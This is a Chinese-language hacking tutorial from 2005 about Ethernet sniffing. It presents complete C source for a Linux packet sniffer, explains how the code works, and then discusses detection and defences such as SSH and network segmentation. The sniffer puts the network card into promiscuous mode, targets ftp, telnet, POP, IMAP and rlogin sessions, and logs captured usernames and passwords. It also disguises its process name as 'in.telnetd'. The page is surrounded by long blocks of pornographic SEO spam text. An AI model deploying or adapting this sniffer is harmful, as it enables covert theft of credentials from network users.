国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

Sniffer黑客教程
2005-12-05   

Sniffer是一種常用的收集有用數據方法,這些數據可以是用戶的帳號和密碼,可以是一些商用機密數據等等。為了對sniffer的工作原理有一個深入的了解,第二節給出了一個sniffer的源程序,并對它進行講解。最后的第三節是探測和防范sniffer的介紹。
第一節 Sniffer簡介
 什么是以太網sniffing?
 以太網sniffing 是指對以太網設備上傳送的數據包進行偵聽,發現感興趣的包。如果發現符合條件的包,就把它存到一個log文件中去。通常設置的這些條件是包含字"username"或"password"的包。
它的目的是將網絡層放到promiscuous模式,從而能干些事情。Promiscuous模式是指網絡上的所有設備都對總線上傳送的數據進行偵聽,并不僅僅是它們自己的數據。根據第二章中有關對以太網的工作原理的基本介紹,可以知道:一個設備要向某一目標發送數據時,它是對以太網進行廣播的。一個連到以太網總線上的設備在任何時間里都在接受數據。不過只是將屬于自己的數據傳給該計算機上的應用程序。
利用這一點,可以將一臺計算機的網絡連接設置為接受所有以太網總線上的數據,從而實現sniffer。
sniffer通常運行在路由器,或有路由器功能的主機上。這樣就能對大量的數據進行監控。sniffer屬第二層次的攻擊。通常是攻擊者已經進入了目標系統,然后使用sniffer這種攻擊手段,以便得到更多的信息。
sniffer除了能得到口令或用戶名外,還能得到更多的其他信息,比如一個其他重要的信息,在網上傳送的金融信息等等。sniffer幾乎能得到任何以太網上的傳送的數據包。
有許多運行與不同平臺上的sniffer程序。
Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack
上面的這些程序,可以從互連網上找到。
使用sniffer程序或編寫一個功能強大的sniffer程序需要一些網絡方面的知識。因為如果沒有恰當的設置這個程序,根本就不能從大量的數據中找出需要的信息。
通常sniffer程序只看一個數據包的前200-300個字節的數據,就能發現想口令和用戶名這樣的信息。
第二節 一個sniffer源程序
下面是一個Linux以太網sniffer的源程序。可以根據需要加強這個程序。
/* Linux sniffer.c 本程序已經在Red Hat 5.2上調試通過*/
#include < string.h>
#include < ctype.h>
#include < stdio.h>
#include < netdb.h>
#include < sys/file.h>
#include < sys/time.h>
#include < sys/socket.h>
#include < sys/ioctl.h>
#include < sys/signal.h>
#include < net/if.h>
#include < arpa/inet.h>
#include < netinet/in.h>
#include < netinet/ip.h>
#include < netinet/tcp.h>
#include < netinet/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("can not set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
下面對上面的程序作一個介紹。結構etherpacket定義了一個數據包。其中的ethhdr,iphdr,和tcphdr分別是三個結構,用來定義以太網幀,IP數據包頭和TCP數據包頭的格式。
它們在頭文件中的定義如下:
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix < bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your < bits/endian.h> defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述結構的具體含義可參見《TCP/IP協議簡介》一章中的相關內容。接下來,定義了一個結構變量victim。
隨后,看一下函數int openintf(char *d),它的作用是打開一個網絡接口。在main中是將eth0作為參數來調用這個函數。在這個函數中,用到了下面的結構:
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
這個結構叫接口請求結構,用來調用在I/O輸入輸出時使用。所有的接口I/O輸出必須有一個參數,這個參數以ifr_name開頭,后面的參數根據使用不同的網絡接口而不同。
如果你要看看你的計算機有哪些網絡接口,使用命令ifconfig即可。一般你會看到兩個接口lo0和eth0。在ifreq結構中的各個域的含義與ifconfig的輸出是一一對應的。在這里,程序將eth0作為ifr_name來使用的。接著,該函數將這個網絡接口設置成promiscuous模式。請記住,sniffer是工作在這種模式下的。
再看一下函數read_tcp,它的作用是讀取TCP數據包,傳給filter處理。Filter函數是對上述讀取的數據包進行處理。
接下來的程序是將數據輸出到文件中去。
函數clearup是在程序退出等事件時,在文件中作個記錄,并關閉文件。否則,你剛才做的記錄都沒了。
第三節 怎樣在一個網絡上發現一個sniffer
簡單的一個回答是你發現不了。因為他們根本就沒有留下任何痕跡。
只有一個辦法是看看計算機上當前正在運行的所有程序。但這通常并不可靠,但你可以控制哪個程序可以在你的計算機上運行。
在Unix系統下使用下面的命令:
ps -aux
或:
ps -augx
這個命令列出當前的所有進程,啟動這些進程的用戶,它們占用CPU的時間,占用內存的多少等等。在Windows系統下,按下Ctrl+Alt+Del,看一下任務列表。不過,編程技巧高的Sniffer即使正在運行,也不會出現在這里的。另一個方法就是在系統中搜索,查找可懷疑的文件。但可能入侵者用的是他們自己寫的程序,所以都給發現sniffer造成相當的困難。
還有許多工具,能用來看看你的系統會不會在promiscuous模式。從而發現是否有一個sniffer正在運行。
怎樣防止被sniffer
要防止sniffer并不困難,有許多可以選用的方法。但關鍵是都要有開銷。所以問題在于你是否舍得開銷。
你最關心的可能是傳輸一些比較敏感的數據,如用戶ID或口令等等。有些數據是沒有經過處理的,一旦被sniffer,就能獲得這些信息。解決這些問題的辦法是加密。
加密
我們介紹以下SSH,它又叫Secure Shell。SSH是一個在應用程序中提供安全通信的協議。它是建立在客戶機/服務器模型上的。SSH服務器的分配的端口是22。連接是通過使用一種來自RSA的算法建立的。在授權完成后,接下來的通信數據是用IDEA技術來加密的。這通常是較強的 ,適合與任何非秘密和非經典的通訊。
SSH后來發展成為F-SSH,提供了高層次的,軍方級別的對通信過程的加密。它為通過TCP/IP網絡通信提供了通用的最強的加密。
如果某個站點使用F-SSH,用戶名和口令成為不是很重要的一點。目前,還沒有人突破過這種加密方法。即使是sniffer,收集到的信息將不再有價值。當然最關鍵的是怎樣使用它。
SSH和F-SSH都有商業或自由軟件版本存在。NT are available.
還有其他的方法嗎?
另一個比較容易接受的是使用安全拓撲結構。這聽上去很簡單,但實現是很花錢的。
玩過一種智力游戲嗎,它通常有一系列數字組成。游戲的目的是要安排好數字,用最少的步驟,把它們按遞減順序排好。當處理網絡拓撲時,就和玩這個游戲一樣。
下面是一些規則:
一個網絡段必須有足夠的理由才能信任另一網絡段。網絡段應該考慮你的數據之間的信任關系上來設計,而不是硬件需要。
這就建立了,讓我們來看看。第一點:一個網絡段是僅由能互相信任的計算機組成的。通常它們在同一個房間里,或在同一個辦公室里。比如你的財務信息,應該固定在建筑的一部分。
注意每臺機器是通過硬連接線接到Hub的。Hub再接到交換機上。由于網絡分段了,數據包只能在這個網段上別sniffer。其余的網段將不可能被sniffer。
所有的問題都歸結到信任上面。計算機為了和其他計算機進行通信,它就必須信任那臺計算機。作為系統管理員,你的工作是決定一個方法,使得計算機之間的信任關系很小。這樣,就建立了一種框架,你告訴你什么時候放置了一個sniffer,它放在那里了,是誰放的等等。
如果你的局域網要和INTERNET相連,僅僅使用防火墻是不夠的。入侵者已經能從一個防火墻后面掃描,并探測正在運行的服務。你要關心的是一旦入侵者進入系統,他能得到些什么。你必須考慮一條這樣的路徑,即信任關系有多長。舉個例子,假設你的WEB服務器對某一計算機A是信任的。那么有多少計算機是A信任的呢。又有多少計算機是受這些計算機信任的呢?用一句話,就是確定最小信任關系的那臺計算機。在信任關系中,這臺計算機之前的任何一臺計算機都可能對你的計算機進行攻擊,并成功。你的任務就是保證一旦出現的sniffer,它只對最小范圍有效。
Sniffer往往是攻擊者在侵入系統后使用的,用來收集有用的信息。因此,防止系統被突破是關鍵。系統安全管理員要定期的對所管理的網絡進行安全測試,防止安全隱患。同時要控制擁有相當權限的用戶的數量。請記住,許多攻擊往往來自網絡內部。

熱詞搜索:

上一篇:防范網絡嗅探
下一篇:SNIFF原理解析

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
97精品国产露脸对白| 成人国产亚洲欧美成人综合网 | 亚洲一级片在线观看| 中文字幕制服丝袜一区二区三区 | 日韩欧美亚洲国产精品字幕久久久 | 久久99国产精品久久| 狠狠色丁香婷婷综合久久片| www.综合网.com| 欧美一区二区三区免费| 亚洲私人黄色宅男| 开心九九激情九九欧美日韩精美视频电影 | 91精品国产色综合久久不卡电影| 日韩电影在线免费| 欧美精品一区二区三区在线播放| 久久午夜免费电影| 日韩av一二三| 久久精品网站免费观看| 免费人成精品欧美精品| 欧美又粗又大又爽| 777奇米四色成人影色区| 亚洲精品免费电影| 国产二区国产一区在线观看| 欧美性大战久久久久久久蜜臀 | 青青草97国产精品免费观看| 国产欧美精品国产国产专区| 久久精品国产第一区二区三区| 国产日产欧美一区二区视频| 欧美片网站yy| 午夜欧美2019年伦理| 欧美唯美清纯偷拍| 国产一区美女在线| 欧美国产国产综合| 成人污污视频在线观看| 国产欧美日韩精品a在线观看| 色综合激情五月| 亚洲精品老司机| 久久你懂得1024| 成人v精品蜜桃久久一区| 亚洲妇熟xx妇色黄| 欧美亚洲一区二区三区四区| 国产精品一区久久久久| 中文字幕欧美国产| 欧美不卡一区二区三区| 国产成人精品综合在线观看| 亚洲444eee在线观看| 欧美一区二区三区在线看| 91老师片黄在线观看| 亚洲综合在线第一页| 亚洲国产精品传媒在线观看| 日韩精品一区在线| 91精品国产综合久久福利软件| 日本电影亚洲天堂一区| 麻豆成人久久精品二区三区红 | 最新国产成人在线观看| 国产欧美日产一区| 日本一区二区三区在线观看| 欧美激情综合网| 国产精品少妇自拍| 欧美日韩一区二区三区四区五区| 捆绑紧缚一区二区三区视频 | 欧美性高清videossexo| 欧美中文字幕不卡| 色婷婷亚洲综合| 在线视频国内一区二区| 欧美三区免费完整视频在线观看| 欧美色图激情小说| 欧美一区二区三区视频在线 | 国产精品日韩成人| 亚洲欧洲精品天堂一级| 日韩一区和二区| 菠萝蜜视频在线观看一区| 成人激情免费视频| a4yy欧美一区二区三区| 色婷婷av一区二区| 欧美嫩在线观看| 久久一二三国产| 综合久久国产九一剧情麻豆| 亚洲一区在线免费观看| 麻豆久久一区二区| www.亚洲色图| 在线电影院国产精品| av毛片久久久久**hd| 91美女片黄在线| 欧美一区二区三区在线电影| 亚洲国产精品成人综合 | 欧美亚洲一区三区| 日韩色在线观看| 日本一区二区高清| 水野朝阳av一区二区三区| 亚洲乱码一区二区三区在线观看| 亚洲国产欧美在线人成| 国内欧美视频一区二区| 色综合咪咪久久| 日韩欧美一级精品久久| 中文成人综合网| 婷婷丁香久久五月婷婷| 国产成人在线视频播放| 欧美日韩一本到| 国产精品午夜电影| 日本欧美在线观看| 91在线观看视频| 精品国产乱码久久久久久夜甘婷婷 | 亚洲天堂av一区| 韩国v欧美v日本v亚洲v| 在线免费亚洲电影| 国产日韩av一区| 美日韩一级片在线观看| 欧美日本一道本| 国产精品久久午夜夜伦鲁鲁| 青青国产91久久久久久| 欧洲av在线精品| 中文字幕日本乱码精品影院| 国产精品一色哟哟哟| 91精品一区二区三区久久久久久 | 91在线精品秘密一区二区| 欧美成人精品福利| 天天综合日日夜夜精品| 在线亚洲一区二区| 中文字幕在线不卡视频| 国产精品资源在线看| 日韩免费福利电影在线观看| 首页亚洲欧美制服丝腿| 欧美色精品在线视频| 一区二区三区欧美日韩| 亚洲午夜久久久久久久久电影院 | 久久精品国产澳门| 制服丝袜成人动漫| 亚洲国产aⅴ成人精品无吗| 色香蕉久久蜜桃| 亚洲激情六月丁香| 91精品办公室少妇高潮对白| 亚洲欧美另类小说视频| 久久成人免费日本黄色| 欧美色精品在线视频| 亚洲图片欧美色图| 欧美三级视频在线| 夜夜揉揉日日人人青青一国产精品| 91蝌蚪porny九色| 亚洲精品福利视频网站| 色国产精品一区在线观看| 一区二区三区不卡视频| 欧美三级日本三级少妇99| 亚洲男同1069视频| 欧美三级视频在线| 另类小说一区二区三区| 久久精品一区二区三区不卡| 成人免费毛片app| 亚洲精品国产第一综合99久久| 欧美图区在线视频| 美女视频网站黄色亚洲| 久久精品欧美日韩| 91美女精品福利| 蜜桃久久久久久| 国产亚洲欧美中文| 91啪在线观看| 男人的天堂亚洲一区| 国产日韩欧美精品在线| 91美女片黄在线观看91美女| 日本亚洲视频在线| 国产精品亲子伦对白| 欧美巨大另类极品videosbest | 欧美一区二区三区在线电影| 国产一区二区主播在线| 日韩毛片在线免费观看| 在线不卡一区二区| 成人一区二区在线观看| 亚洲成人精品在线观看| 久久久久成人黄色影片| 在线观看国产91| 国产精品1区二区.| 亚洲成人在线免费| 久久免费视频色| 欧美色区777第一页| 成人激情免费网站| 久久精品国产99国产| 一区二区三区电影在线播| 精品福利在线导航| 欧美日韩国产高清一区二区 | 欧美男生操女生| 99久久综合国产精品| 久久99九九99精品| 亚洲国产一区二区a毛片| 国产视频911| 日韩亚洲国产中文字幕欧美| 一本大道av一区二区在线播放| 国内外成人在线视频| 日韩不卡一区二区三区| 亚洲精品国产精华液| 亚洲国产电影在线观看| 久久综合999| 日韩一区二区在线免费观看| 日本韩国精品一区二区在线观看| 国产精品亚洲成人| 久久97超碰色| 久久国产精品区| 麻豆freexxxx性91精品| 蜜臀久久久99精品久久久久久| 性做久久久久久免费观看| 一区二区高清视频在线观看| 国产精品国产自产拍在线|